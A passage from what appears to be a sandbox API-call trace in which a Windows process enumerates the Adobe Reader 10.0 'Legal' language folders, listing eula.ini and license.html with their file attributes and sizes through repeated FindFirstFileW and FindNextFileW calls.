ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0217.765] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0217.804] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.804] GetProcessHeap () returned 0x550000 [0217.804] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.804] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0217.804] GetProcessHeap () returned 0x550000 [0217.804] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0217.804] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.843] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.843] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0217.843] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ece3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0217.843] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ece3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0217.843] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.844] GetProcessHeap () returned 0x550000 [0217.844] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.844] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0217.844] GetProcessHeap () returned 0x550000 [0217.844] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0217.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.844] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.844] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0217.844] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0217.844] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0217.844] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.845] GetProcessHeap () returned 0x550000 [0217.845] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.845] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0217.845] GetProcessHeap () returned 0x550000 [0217.845] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0217.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.916] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.917] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0217.917] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0217.917] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0217.917] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.917] GetProcessHeap () returned 0x550000 [0217.917] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.917] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0217.917] GetProcessHeap () returned 0x550000 [0217.917] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0217.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.917] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.918] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0217.918] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0217.918] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0217.918] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.918] GetProcessHeap () returned 0x550000 [0217.918] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.918] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0217.918] GetProcessHeap () returned 0x550000 [0217.918] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0217.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.918] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.918] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0217.918] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0217.918] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0217.919] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.919] GetProcessHeap () returned 0x550000 [0217.919] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.919] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0217.919] GetProcessHeap () returned 0x550000 [0217.919] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0217.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.965] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.966] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0217.968] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0217.968] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0217.968] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.970] GetProcessHeap () returned 0x550000 [0217.970] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.970] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0217.974] GetProcessHeap () returned 0x550000 [0217.974] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0217.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0217.975] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.978] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0217.979] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, 